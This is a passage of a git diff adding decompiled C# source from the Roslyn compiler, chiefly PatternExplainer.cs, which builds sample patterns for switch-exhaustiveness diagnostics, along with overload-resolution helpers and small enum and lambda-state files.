diagnostics.Add((DiagnosticInfo?)(object)CreateAmbiguousCallDiagnosticInfo(first.LeastOverriddenMember.OriginalDefinition, second.LeastOverriddenMember.OriginalDefinition, symbols), location); + return true; + } + + private unsafe int TryGetFirstTwoValidResults(out MemberResolutionResult first, out MemberResolutionResult second) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + int num = 0; + bool flag = false; + bool flag2 = false; + first = default(MemberResolutionResult); + second = default(MemberResolutionResult); + Enumerator> enumerator = ((ArrayBuilder>>)(object)ResultsBuilder).GetEnumerator(); + while (((Enumerator>>*)(&enumerator))->MoveNext()) + { + MemberResolutionResult current = ((Enumerator>>*)(&enumerator))->Current; + if (current.Result.IsValid) + { + num++; + if (!flag) + { + first = current; + flag = true; + } + else if (!flag2) + { + second = current; + flag2 = true; + } + } + } + return num; + } + + private static DiagnosticInfoWithSymbols CreateAmbiguousCallDiagnosticInfo(Symbol first, Symbol second, ImmutableArray symbols) + { + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Expected O, but got Unknown + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Expected O, but got Unknown + object[] arguments = ((!(first.ContainingNamespace != second.ContainingNamespace)) ? new object[2] { first, second } : new object[2] + { + (object)new FormattedSymbol((ISymbolInternal)(object)first, SymbolDisplayFormat.CSharpErrorMessageFormat), + (object)new FormattedSymbol((ISymbolInternal)(object)second, SymbolDisplayFormat.CSharpErrorMessageFormat) + }); + return new DiagnosticInfoWithSymbols(ErrorCode.ERR_AmbigCall, arguments, symbols); + } + + [Conditional("DEBUG")] + private unsafe void AssertNone(MemberResolutionKind kind) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + Enumerator> enumerator = ((ArrayBuilder>>)(object)ResultsBuilder).GetEnumerator(); + while (((Enumerator>>*)(&enumerator))->MoveNext()) + { + if (((Enumerator>>*)(&enumerator))->Current.Result.Kind == kind) + { + throw ExceptionUtilities.UnexpectedValue((object)kind); + } + } + } + + private unsafe MemberResolutionResult GetFirstMemberKind(MemberResolutionKind kind) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + Enumerator> enumerator = ((ArrayBuilder>>)(object)ResultsBuilder).GetEnumerator(); + while (((Enumerator>>*)(&enumerator))->MoveNext()) + { + MemberResolutionResult current = ((Enumerator>>*)(&enumerator))->Current; + if (current.Result.Kind == kind) + { + return current; + } + } + return default(MemberResolutionResult); + } + + internal static OverloadResolutionResult GetInstance() + { + return ((ObjectPool>>)(object)s_pool).Allocate(); + } + + internal void Free() + { + Clear(); + ((ObjectPool>>)(object)s_pool).Free((OverloadResolutionResult>)(object)this); + } + + private static ObjectPool> CreatePool() + { + return (ObjectPool>)(object)new ObjectPool>>((Factory>>)(() => new OverloadResolutionResult()), 10, true); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/PatternExplainer.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/PatternExplainer.cs new file mode 100644 index 0000000..8329080 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/PatternExplainer.cs @@ -0,0 +1,803 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using System.Text; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal static class PatternExplainer +{ + private class NoRemainingValuesException : Exception + { + } + + private static ImmutableArray ShortestPathToNode(ImmutableArray nodes, BoundDecisionDagNode node, bool nullPaths, out bool requiresFalseWhenClause) + { + PooledDictionary dist = PooledDictionary.GetInstance(); + int length = nodes.Length; + int infinity = 2 * length + 2; + PooledDictionary val; + BoundDecisionDagNode key; + (int, BoundDecisionDagNode) value; + for (int num = length - 1; num >= 0; ((Dictionary)(object)val).Add(key, value), num--) + { + BoundDecisionDagNode boundDecisionDagNode = nodes[num]; + val = dist; + key = boundDecisionDagNode; + BoundDecisionDagNode boundDecisionDagNode2 = boundDecisionDagNode; + if (!(boundDecisionDagNode2 is BoundEvaluationDecisionDagNode boundEvaluationDecisionDagNode)) + { + if (boundDecisionDagNode2 is BoundTestDecisionDagNode boundTestDecisionDagNode) + { + BoundDagTest test = boundTestDecisionDagNode.Test; + if (!(test is BoundDagNonNullTest)) + { + if (test is BoundDagExplicitNullTest) + { + BoundTestDecisionDagNode boundTestDecisionDagNode2 = boundTestDecisionDagNode; + if (!nullPaths) + { + value = (1 + distance(boundTestDecisionDagNode2.WhenFalse), boundTestDecisionDagNode2.WhenFalse); + continue; + } + } + } + else + { + BoundTestDecisionDagNode boundTestDecisionDagNode3 = boundTestDecisionDagNode; + if (!nullPaths) + { + value = (1 + distance(boundTestDecisionDagNode3.WhenTrue), boundTestDecisionDagNode3.WhenTrue); + continue; + } + } + BoundTestDecisionDagNode boundTestDecisionDagNode4 = boundTestDecisionDagNode; + int num2 = distance(boundTestDecisionDagNode4.WhenTrue); + int num3 = distance(boundTestDecisionDagNode4.WhenFalse); + value = ((num2 <= num3) ? (1 + num2, boundTestDecisionDagNode4.WhenTrue) : (1 + num3, boundTestDecisionDagNode4.WhenFalse)); + } + else if (boundDecisionDagNode2 is BoundWhenDecisionDagNode boundWhenDecisionDagNode) + { + BoundWhenDecisionDagNode boundWhenDecisionDagNode2 = boundWhenDecisionDagNode; + int num4 = distance(boundWhenDecisionDagNode2.WhenTrue); + int num5 = distance(boundWhenDecisionDagNode2.WhenFalse); + value = ((num4 <= num5) ? (1 + num4, boundWhenDecisionDagNode2.WhenTrue) : (1 + ((num5 < length) ? length : 0) + num5, boundWhenDecisionDagNode2.WhenFalse)); + } + else + { + value = ((boundDecisionDagNode == node) ? 1 : infinity, null); + } + } + else + { + BoundEvaluationDecisionDagNode boundEvaluationDecisionDagNode2 = boundEvaluationDecisionDagNode; + value = (distance(boundEvaluationDecisionDagNode2.Next), boundEvaluationDecisionDagNode2.Next); + } + } + int item = ((Dictionary)(object)dist)[nodes[0]].Item1; + requiresFalseWhenClause = item > length; + ArrayBuilder instance = ArrayBuilder.GetInstance(item); + BoundDecisionDagNode boundDecisionDagNode3 = nodes[0]; + while (boundDecisionDagNode3 != node) + { + instance.Add(boundDecisionDagNode3); + if (!(boundDecisionDagNode3 is BoundEvaluationDecisionDagNode boundEvaluationDecisionDagNode3)) + { + if (!(boundDecisionDagNode3 is BoundTestDecisionDagNode key2)) + { + if (!(boundDecisionDagNode3 is BoundWhenDecisionDagNode boundWhenDecisionDagNode3)) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/PatternExplainer.cs", 93); + } + instance.RemoveLast(); + boundDecisionDagNode3 = boundWhenDecisionDagNode3.WhenFalse; + } + else + { + boundDecisionDagNode3 = ((Dictionary)(object)dist)[(BoundDecisionDagNode)key2].Item2; + } + } + else + { + boundDecisionDagNode3 = boundEvaluationDecisionDagNode3.Next; + } + } + dist.Free(); + return instance.ToImmutableAndFree(); + int distance(BoundDecisionDagNode x) + { + if (x == null) + { + return infinity; + } + if (((Dictionary)(object)dist).TryGetValue(x, out (int, BoundDecisionDagNode) value2)) + { + return value2.Item1; + } + return infinity; + } + } + + private static void VisitPathsToNode(BoundDecisionDagNode rootNode, BoundDecisionDagNode targetNode, bool nullPaths, Func, bool, bool> handler) + { + ArrayBuilder pathBuilder = ArrayBuilder.GetInstance(); + exploreToNode(rootNode, currentRequiresFalseWhenClause: false); + pathBuilder.Free(); + bool exploreToNode(BoundDecisionDagNode currentNode, bool currentRequiresFalseWhenClause) + { + if (currentNode == targetNode) + { + return handler(pathBuilder.ToImmutable(), currentRequiresFalseWhenClause); + } + ArrayBuilderExtensions.Push(pathBuilder, currentNode); + if (currentNode != null && !(currentNode is BoundLeafDecisionDagNode)) + { + if (!(currentNode is BoundTestDecisionDagNode boundTestDecisionDagNode)) + { + if (!(currentNode is BoundEvaluationDecisionDagNode boundEvaluationDecisionDagNode)) + { + if (currentNode is BoundWhenDecisionDagNode boundWhenDecisionDagNode) + { + ArrayBuilderExtensions.Pop(pathBuilder); + return exploreToNode(boundWhenDecisionDagNode.WhenFalse, currentRequiresFalseWhenClause: true); + } + throw ExceptionUtilities.UnexpectedValue((object)currentNode.Kind); + } + if (!exploreToNode(boundEvaluationDecisionDagNode.Next, currentRequiresFalseWhenClause)) + { + return false; + } + } + else + { + bool flag = boundTestDecisionDagNode.Test is BoundDagExplicitNullTest && !nullPaths; + bool flag2 = boundTestDecisionDagNode.Test is BoundDagNonNullTest && !nullPaths; + if (!flag && !exploreToNode(boundTestDecisionDagNode.WhenTrue, currentRequiresFalseWhenClause)) + { + return false; + } + if (!flag2 && !exploreToNode(boundTestDecisionDagNode.WhenFalse, currentRequiresFalseWhenClause)) + { + return false; + } + } + } + ArrayBuilderExtensions.Pop(pathBuilder); + return true; + } + } + + internal static string SamplePatternForPathToDagNode(BoundDagTemp rootIdentifier, ImmutableArray nodes, BoundDecisionDagNode targetNode, bool nullPaths, out bool requiresFalseWhenClause, out bool unnamedEnumValue) + { + unnamedEnumValue = false; + ImmutableArray pathToNode = ShortestPathToNode(nodes, targetNode, nullPaths, out requiresFalseWhenClause); + gatherConstraintsAndEvaluations(targetNode, pathToNode, out var constraints, out var evaluations); + try + { + return SamplePatternForTemp(rootIdentifier, constraints, evaluations, requireExactType: false, ref unnamedEnumValue); + } + catch (NoRemainingValuesException) + { + } + return samplePatternFromOtherPaths(rootIdentifier, nodes[0], targetNode, nullPaths, out requiresFalseWhenClause, out unnamedEnumValue); + static void gatherConstraintsAndEvaluations(BoundDecisionDagNode boundDecisionDagNode3, ImmutableArray immutableArray, out Dictionary> reference, out Dictionary> reference2) + { + reference = new Dictionary>(); + reference2 = new Dictionary>(); + int i = 0; + for (int length = immutableArray.Length; i < length; i++) + { + BoundDecisionDagNode boundDecisionDagNode = immutableArray[i]; + if (!(boundDecisionDagNode is BoundTestDecisionDagNode boundTestDecisionDagNode)) + { + if (boundDecisionDagNode is BoundEvaluationDecisionDagNode boundEvaluationDecisionDagNode) + { + BoundDagTemp input = boundEvaluationDecisionDagNode.Evaluation.Input; + if (!reference2.TryGetValue(input, out var value)) + { + reference2.Add(input, value = new ArrayBuilder()); + } + value.Add(boundEvaluationDecisionDagNode.Evaluation); + } + } + else + { + BoundDecisionDagNode boundDecisionDagNode2 = ((i < length - 1) ? immutableArray[i + 1] : boundDecisionDagNode3); + bool flag = boundTestDecisionDagNode.WhenTrue == boundDecisionDagNode2 || (boundTestDecisionDagNode.WhenFalse != boundDecisionDagNode2 && boundTestDecisionDagNode.WhenTrue is BoundWhenDecisionDagNode); + BoundDagTest test = boundTestDecisionDagNode.Test; + BoundDagTemp input2 = test.Input; + if (!(test is BoundDagTypeTest) || flag) + { + if (!reference.TryGetValue(input2, out var value2)) + { + reference.Add(input2, value2 = new ArrayBuilder<(BoundDagTest, bool)>()); + } + value2.Add((test, flag)); + } + } + } + } + static string samplePatternFromOtherPaths(BoundDagTemp input, BoundDecisionDagNode rootNode, BoundDecisionDagNode targetNode2, bool nullPaths2, out bool reference2, out bool reference) + { + string altSamplePatternForTemp = null; + bool altRequiresFalseWhenClause = false; + bool altUnnamedEnumValue = false; + VisitPathsToNode(rootNode, targetNode2, nullPaths2, delegate(ImmutableArray currentPathToNode, bool currentRequiresFalseWhenClause) + { + altRequiresFalseWhenClause = currentRequiresFalseWhenClause; + gatherConstraintsAndEvaluations(targetNode2, currentPathToNode, out var constraints2, out var evaluations2); + try + { + altUnnamedEnumValue = false; + altSamplePatternForTemp = SamplePatternForTemp(input, constraints2, evaluations2, requireExactType: false, ref altUnnamedEnumValue); + return false; + } + catch (NoRemainingValuesException) + { + return true; + } + }); + if (altSamplePatternForTemp != null) + { + reference = altUnnamedEnumValue; + reference2 = altRequiresFalseWhenClause; + return altSamplePatternForTemp; + } + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/PatternExplainer.cs", 241); + } + } + + private static string SamplePatternForTemp(BoundDagTemp input, Dictionary> constraintMap, Dictionary> evaluationMap, bool requireExactType, ref bool unnamedEnumValue) + { + ImmutableArray<(BoundDagTest test, bool sense)> constraints = getArray<(BoundDagTest, bool)>(constraintMap, input); + ImmutableArray evaluations = getArray(evaluationMap, input); + return tryHandleSingleTest() ?? tryHandleTypeTestAndTypeEvaluation(ref unnamedEnumValue) ?? tryHandleUnboxNullableValueType(ref unnamedEnumValue) ?? tryHandleTuplePattern(ref unnamedEnumValue) ?? tryHandleNumericLimits(ref unnamedEnumValue) ?? tryHandleRecursivePattern(ref unnamedEnumValue) ?? tryHandleListPattern(ref unnamedEnumValue) ?? produceFallbackPattern(); + static IValueSet computeRemainingValues(IValueSetFactory fac, ImmutableArray<(BoundDagTest test, bool sense)> immutableArray) + { + IValueSet remainingValues = fac.AllValues; + ImmutableArray<(BoundDagTest, bool)>.Enumerator enumerator = immutableArray.GetEnumerator(); + while (enumerator.MoveNext()) + { + var (boundDagTest, sense) = enumerator.Current; + if (!(boundDagTest is BoundDagValueTest boundDagValueTest)) + { + if (boundDagTest is BoundDagRelationalTest boundDagRelationalTest) + { + addRelation(boundDagRelationalTest.Relation, boundDagRelationalTest.Value); + } + } + else + { + addRelation(BinaryOperatorKind.Equal, boundDagValueTest.Value); + } + void addRelation(BinaryOperatorKind relation, ConstantValue value) + { + if (!value.IsBad) + { + IValueSet valueSet = fac.Related(relation, value); + if (!sense) + { + valueSet = valueSet.Complement(); + } + remainingValues = remainingValues.Intersect(valueSet); + } + } + } + return remainingValues; + } + static ImmutableArray getArray(Dictionary> map, BoundDagTemp temp) + { + if (!map.TryGetValue(temp, out var value)) + { + return ImmutableArray.Empty; + } + return value.ToImmutable(); + } + static bool isNotNullTest((BoundDagTest test, bool sense) constraint) + { + var (boundDagTest, _) = constraint; + if (boundDagTest is BoundDagNonNullTest) + { + if (constraint.sense) + { + goto IL_0029; + } + } + else if (boundDagTest is BoundDagExplicitNullTest && !constraint.sense) + { + goto IL_0029; + } + return false; + IL_0029: + return true; + } + static string makeConjunct(string oldPattern, string newPattern) + { + if (oldPattern == "_") + { + return newPattern; + } + if (newPattern == "_") + { + return oldPattern; + } + return oldPattern + " and " + newPattern; + } + string produceFallbackPattern() + { + if (!requireExactType) + { + return "_"; + } + return input.Type.ToDisplayString(); + } + string tryHandleListPattern(ref bool unnamedEnumValue2) + { + if (constraints.IsEmpty && evaluations.IsEmpty) + { + return null; + } + if (!constraints.All(isNotNullTest)) + { + return null; + } + if (evaluations[0] is BoundDagPropertyEvaluation { IsLengthOrCount: not false } boundDagPropertyEvaluation) + { + BoundDagSliceEvaluation boundDagSliceEvaluation = null; + for (int i = 1; i < evaluations.Length; i++) + { + BoundDagEvaluation boundDagEvaluation = evaluations[i]; + if (!(boundDagEvaluation is BoundDagIndexerEvaluation)) + { + if (!(boundDagEvaluation is BoundDagSliceEvaluation boundDagSliceEvaluation2)) + { + return null; + } + if (boundDagSliceEvaluation != null) + { + return null; + } + boundDagSliceEvaluation = boundDagSliceEvaluation2; + } + } + BoundDagTemp temp = new BoundDagTemp(boundDagPropertyEvaluation.Syntax, boundDagPropertyEvaluation.Property.Type, boundDagPropertyEvaluation); + IValueSet valueSet = (IValueSet)computeRemainingValues(ValueSetFactory.ForLength, getArray<(BoundDagTest, bool)>(constraintMap, temp)); + int int32Value = valueSet.Sample.Int32Value; + if (boundDagSliceEvaluation != null) + { + if (valueSet.All(BinaryOperatorKind.Equal, int32Value)) + { + return null; + } + if (boundDagSliceEvaluation.StartIndex - boundDagSliceEvaluation.EndIndex > int32Value) + { + return null; + } + } + ArrayBuilder val = new ArrayBuilder(int32Value); + val.AddMany("_", int32Value); + for (int j = 1; j < evaluations.Length; j++) + { + BoundDagEvaluation boundDagEvaluation2 = evaluations[j]; + if (!(boundDagEvaluation2 is BoundDagIndexerEvaluation boundDagIndexerEvaluation)) + { + if (!(boundDagEvaluation2 is BoundDagSliceEvaluation)) + { + throw ExceptionUtilities.UnexpectedValue((object)boundDagEvaluation2); + } + } + else + { + BoundDagTemp input2 = new BoundDagTemp(boundDagIndexerEvaluation.Syntax, boundDagIndexerEvaluation.IndexerType, boundDagIndexerEvaluation); + int index = boundDagIndexerEvaluation.Index; + int num = ((index < 0) ? (int32Value + index) : index); + if (num < 0 || num >= int32Value) + { + return null; + } + string oldPattern = val[num]; + string newPattern = SamplePatternForTemp(input2, constraintMap, evaluationMap, requireExactType: false, ref unnamedEnumValue2); + val[num] = makeConjunct(oldPattern, newPattern); + } + } + if (boundDagSliceEvaluation != null) + { + string text = SamplePatternForTemp(new BoundDagTemp(boundDagSliceEvaluation.Syntax, boundDagSliceEvaluation.SliceType, boundDagSliceEvaluation), constraintMap, evaluationMap, requireExactType: false, ref unnamedEnumValue2); + if (text != "_") + { + val.Insert(boundDagSliceEvaluation.StartIndex, ".. " + text); + } + } + return "[" + string.Join(", ", (IEnumerable)val) + "]"; + } + return null; + } + string tryHandleNumericLimits(ref bool unnamedEnumValue2) + { + if (evaluations.IsEmpty && constraints.All(delegate((BoundDagTest test, bool sense) t) + { + var (boundDagTest, _) = t; + if (boundDagTest is BoundDagValueTest) + { + return true; + } + if (boundDagTest is BoundDagRelationalTest) + { + return true; + } + if (boundDagTest is BoundDagExplicitNullTest) + { + if (!t.sense) + { + return true; + } + } + else if (boundDagTest is BoundDagNonNullTest && t.sense) + { + return true; + } + return false; + })) + { + IValueSetFactory valueSetFactory = ValueSetFactory.ForInput(input); + if (valueSetFactory != null) + { + IValueSet valueSet = computeRemainingValues(valueSetFactory, constraints); + if (valueSet.Complement().IsEmpty) + { + return "_"; + } + return SampleValueString(valueSet, input.Type, requireExactType, ref unnamedEnumValue2); + } + } + return null; + } + string tryHandleRecursivePattern(ref bool unnamedEnumValue2) + { + if (constraints.IsEmpty && evaluations.IsEmpty) + { + return null; + } + if (!constraints.All(isNotNullTest)) + { + return null; + } + string text = null; + Dictionary dictionary = new Dictionary(); + bool flag = false; + ImmutableArray.Enumerator enumerator = evaluations.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundDagEvaluation current = enumerator.Current; + if (!(current is BoundDagDeconstructEvaluation boundDagDeconstructEvaluation)) + { + if (!(current is BoundDagFieldEvaluation boundDagFieldEvaluation)) + { + if (!(current is BoundDagPropertyEvaluation boundDagPropertyEvaluation)) + { + return null; + } + string value = SamplePatternForTemp(new BoundDagTemp(boundDagPropertyEvaluation.Syntax, boundDagPropertyEvaluation.Property.Type, boundDagPropertyEvaluation), constraintMap, evaluationMap, requireExactType: false, ref unnamedEnumValue2); + dictionary.Add(boundDagPropertyEvaluation.Property, value); + } + else + { + string value2 = SamplePatternForTemp(new BoundDagTemp(boundDagFieldEvaluation.Syntax, boundDagFieldEvaluation.Field.Type, boundDagFieldEvaluation), constraintMap, evaluationMap, requireExactType: false, ref unnamedEnumValue2); + dictionary.Add(boundDagFieldEvaluation.Field, value2); + } + } + else + { + MethodSymbol deconstructMethod = boundDagDeconstructEvaluation.DeconstructMethod; + int num = ((!deconstructMethod.RequiresInstanceReceiver) ? 1 : 0); + int num2 = deconstructMethod.Parameters.Length - num; + StringBuilder stringBuilder = new StringBuilder("("); + for (int i = 0; i < num2; i++) + { + string value3 = SamplePatternForTemp(new BoundDagTemp(boundDagDeconstructEvaluation.Syntax, deconstructMethod.Parameters[i + num].Type, boundDagDeconstructEvaluation, i), constraintMap, evaluationMap, requireExactType: false, ref unnamedEnumValue2); + if (i != 0) + { + stringBuilder.Append(", "); + } + stringBuilder.Append(value3); + } + stringBuilder.Append(")"); + string text2 = stringBuilder.ToString(); + if (text != null && flag) + { + text += " { }"; + flag = dictionary.Count != 0; + } + text = ((text == null) ? text2 : (text + " and " + text2)); + flag = flag || num2 == 1; + } + } + string text3 = (requireExactType ? input.Type.ToDisplayString() : null); + string text4 = ((flag | ((text == null && text3 == null) || dictionary.Count != 0)) ? (((text != null) ? " {" : "{") + string.Join(", ", dictionary.Select((KeyValuePair kvp) => " " + kvp.Key.Name + ": " + kvp.Value)) + " }") : null); + return text3 + text + text4; + } + string tryHandleSingleTest() + { + if (evaluations.IsEmpty && constraints.Length == 1) + { + (BoundDagTest, bool) tuple = constraints[0]; + var (boundDagTest, _) = tuple; + if (boundDagTest is BoundDagNonNullTest) + { + if (tuple.Item2) + { + if (!requireExactType) + { + return "not null"; + } + return input.Type.ToDisplayString(); + } + return "null"; + } + if (boundDagTest is BoundDagExplicitNullTest) + { + if (!tuple.Item2) + { + if (!requireExactType) + { + return "not null"; + } + return input.Type.ToDisplayString(); + } + return "null"; + } + if (boundDagTest is BoundDagTypeTest boundDagTypeTest) + { + TypeSymbol type = boundDagTypeTest.Type; + bool item = tuple.Item2; + return type.ToDisplayString(); + } + } + return null; + } + string tryHandleTuplePattern(ref bool unnamedEnumValue2) + { + if (input.Type.IsTupleType && constraints.IsEmpty && evaluations.All(delegate(BoundDagEvaluation e) + { + if (e is BoundDagFieldEvaluation boundDagFieldEvaluation2) + { + FieldSymbol field = boundDagFieldEvaluation2.Field; + return field.IsTupleElement(); + } + return false; + })) + { + int length = input.Type.TupleElements.Length; + ArrayBuilder val = new ArrayBuilder(length); + val.AddMany("_", length); + ImmutableArray.Enumerator enumerator = evaluations.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundDagFieldEvaluation boundDagFieldEvaluation = (BoundDagFieldEvaluation)enumerator.Current; + BoundDagTemp input2 = new BoundDagTemp(boundDagFieldEvaluation.Syntax, boundDagFieldEvaluation.Field.Type, boundDagFieldEvaluation); + int tupleElementIndex = boundDagFieldEvaluation.Field.TupleElementIndex; + if (tupleElementIndex < 0 || tupleElementIndex >= length) + { + return null; + } + string oldPattern = val[tupleElementIndex]; + string newPattern = SamplePatternForTemp(input2, constraintMap, evaluationMap, requireExactType: false, ref unnamedEnumValue2); + val[tupleElementIndex] = makeConjunct(oldPattern, newPattern); + } + return "(" + string.Join(", ", (IEnumerable)val) + ")" + ((val.Count == 1) ? " { }" : null); + } + return null; + } + string tryHandleTypeTestAndTypeEvaluation(ref bool unnamedEnumValue2) + { + if (evaluations.Length == 1 && constraints.Length == 1) + { + (BoundDagTest, bool) tuple = constraints[0]; + if (tuple.Item1 is BoundDagTypeTest boundDagTypeTest) + { + TypeSymbol type = boundDagTypeTest.Type; + if (tuple.Item2 && evaluations[0] is BoundDagTypeEvaluation boundDagTypeEvaluation) + { + TypeSymbol type2 = boundDagTypeEvaluation.Type; + if (type.Equals(type2, (TypeCompareKind)63)) + { + return SamplePatternForTemp(new BoundDagTemp(boundDagTypeEvaluation.Syntax, boundDagTypeEvaluation.Type, boundDagTypeEvaluation), constraintMap, evaluationMap, requireExactType: true, ref unnamedEnumValue2); + } + } + } + } + return null; + } + string tryHandleUnboxNullableValueType(ref bool unnamedEnumValue2) + { + if (evaluations.Length == 1 && constraints.Length == 1) + { + (BoundDagTest, bool) tuple = constraints[0]; + if (tuple.Item1 is BoundDagNonNullTest && tuple.Item2 && evaluations[0] is BoundDagTypeEvaluation boundDagTypeEvaluation) + { + TypeSymbol type = boundDagTypeEvaluation.Type; + if (input.Type.IsNullableType() && input.Type.GetNullableUnderlyingType().Equals(type, (TypeCompareKind)63)) + { + string text = SamplePatternForTemp(new BoundDagTemp(boundDagTypeEvaluation.Syntax, boundDagTypeEvaluation.Type, boundDagTypeEvaluation), constraintMap, evaluationMap, requireExactType: false, ref unnamedEnumValue2); + if (!(text == "_")) + { + return text; + } + return "not null"; + } + } + } + return null; + } + } + + private static string SampleValueString(IValueSet remainingValues, TypeSymbol type, bool requireExactType, ref bool unnamedEnumValue) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Invalid comparison between Unknown and I4 + //IL_00c0: Unknown result type (might be due to invalid IL or missing references) + //IL_00c7: Invalid comparison between Unknown and I4 + //IL_0126: Unknown result type (might be due to invalid IL or missing references) + //IL_012d: Invalid comparison between Unknown and I4 + //IL_0060: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Invalid comparison between Unknown and I4 + if (remainingValues.IsEmpty) + { + throw new NoRemainingValuesException(); + } + if (type is NamedTypeSymbol namedTypeSymbol && (int)type.TypeKind == 5) + { + ImmutableArray.Enumerator enumerator = namedTypeSymbol.GetMembers().GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if (current is FieldSymbol { IsConst: not false } fieldSymbol && current.IsStatic && (int)current.DeclaredAccessibility == 6) + { + ConstantValue constantValue = fieldSymbol.GetConstantValue(ConstantFieldsInProgress.Empty, earlyDecodingWellKnownAttributes: false); + if (constantValue != null && remainingValues.Any(BinaryOperatorKind.Equal, constantValue)) + { + return fieldSymbol.ToDisplayString(); + } + } + } + unnamedEnumValue = true; + } + ConstantValue sample = remainingValues.Sample; + if (sample != (ConstantValue)null) + { + return ValueString(sample, type, requireExactType); + } + TypeSymbol typeSymbol = type.EnumUnderlyingTypeOrSelf(); + if ((int)typeSymbol.SpecialType == 21) + { + if (remainingValues.Any(BinaryOperatorKind.GreaterThan, ConstantValue.Create(int.MaxValue))) + { + return "> (" + type.ToDisplayString() + ")int.MaxValue"; + } + if (remainingValues.Any(BinaryOperatorKind.LessThan, ConstantValue.Create(int.MinValue))) + { + return "< (" + type.ToDisplayString() + ")int.MinValue"; + } + } + else if ((int)typeSymbol.SpecialType == 22 && remainingValues.Any(BinaryOperatorKind.GreaterThan, ConstantValue.Create(uint.MaxValue))) + { + return "> (" + type.ToDisplayString() + ")uint.MaxValue"; + } + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/PatternExplainer.cs", 688); + } + + private static string ValueString(ConstantValue value, TypeSymbol type, bool requireExactType) + { + bool num = (type.IsEnumType() || requireExactType || type.IsNativeIntegerType) && (!typeHasExactTypeLiteral(type) || value.IsNull); + string text = PrimitiveValueString(value, type.EnumUnderlyingTypeOrSelf()); + if (!num) + { + return text; + } + return "(" + type.ToDisplayString() + ")" + text; + static bool typeHasExactTypeLiteral(TypeSymbol typeSymbol) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Expected I4, but got Unknown + SpecialType specialType = typeSymbol.SpecialType; + return (specialType - 7) switch + { + 6 => true, + 8 => true, + 7 => true, + 9 => true, + 13 => true, + 10 => true, + 11 => true, + 12 => true, + 0 => true, + 1 => true, + _ => false, + }; + } + } + + private static string PrimitiveValueString(ConstantValue value, TypeSymbol type) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Expected I4, but got Unknown + if (value.IsNull) + { + return "null"; + } + SpecialType specialType = type.SpecialType; + switch (specialType - 7) + { + case 14: + if (!type.IsNativeIntegerType) + { + break; + } + goto case 0; + case 15: + if (!type.IsNativeIntegerType) + { + break; + } + goto case 0; + case 0: + case 1: + case 2: + case 3: + case 4: + case 5: + case 6: + case 7: + case 8: + case 9: + case 10: + case 13: + return ObjectDisplay.FormatPrimitive(value.Value, (ObjectDisplayOptions)26); + case 11: + { + float singleValue = value.SingleValue; + if (!float.IsNaN(singleValue)) + { + if (singleValue != float.NegativeInfinity) + { + if (singleValue == float.PositiveInfinity) + { + return "float.PositiveInfinity"; + } + return ObjectDisplay.FormatPrimitive(singleValue, (ObjectDisplayOptions)2); + } + return "float.NegativeInfinity"; + } + return "float.NaN"; + } + case 12: + { + double doubleValue = value.DoubleValue; + if (!double.IsNaN(doubleValue)) + { + if (doubleValue != double.NegativeInfinity) + { + if (doubleValue == double.PositiveInfinity) + { + return "double.PositiveInfinity"; + } + return ObjectDisplay.FormatPrimitive(doubleValue, (ObjectDisplayOptions)2); + } + return "double.NegativeInfinity"; + } + return "double.NaN"; + } + } + return "_"; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/PatternLookupResult.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/PatternLookupResult.cs new file mode 100644 index 0000000..6f83932 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/PatternLookupResult.cs @@ -0,0 +1,10 @@ +namespace Microsoft.CodeAnalysis.CSharp; + +internal enum PatternLookupResult +{ + Success, + NotAMethod, + NotCallable, + NoResults, + ResultHasErrors +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/PlainUnboundLambdaState.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/PlainUnboundLambdaState.cs new file mode 100644 index 0000000..352ac4b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/PlainUnboundLambdaState.cs @@ -0,0 +1,226 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class PlainUnboundLambdaState : UnboundLambdaState +{ + private readonly RefKind _returnRefKind; + + private readonly TypeWithAnnotations 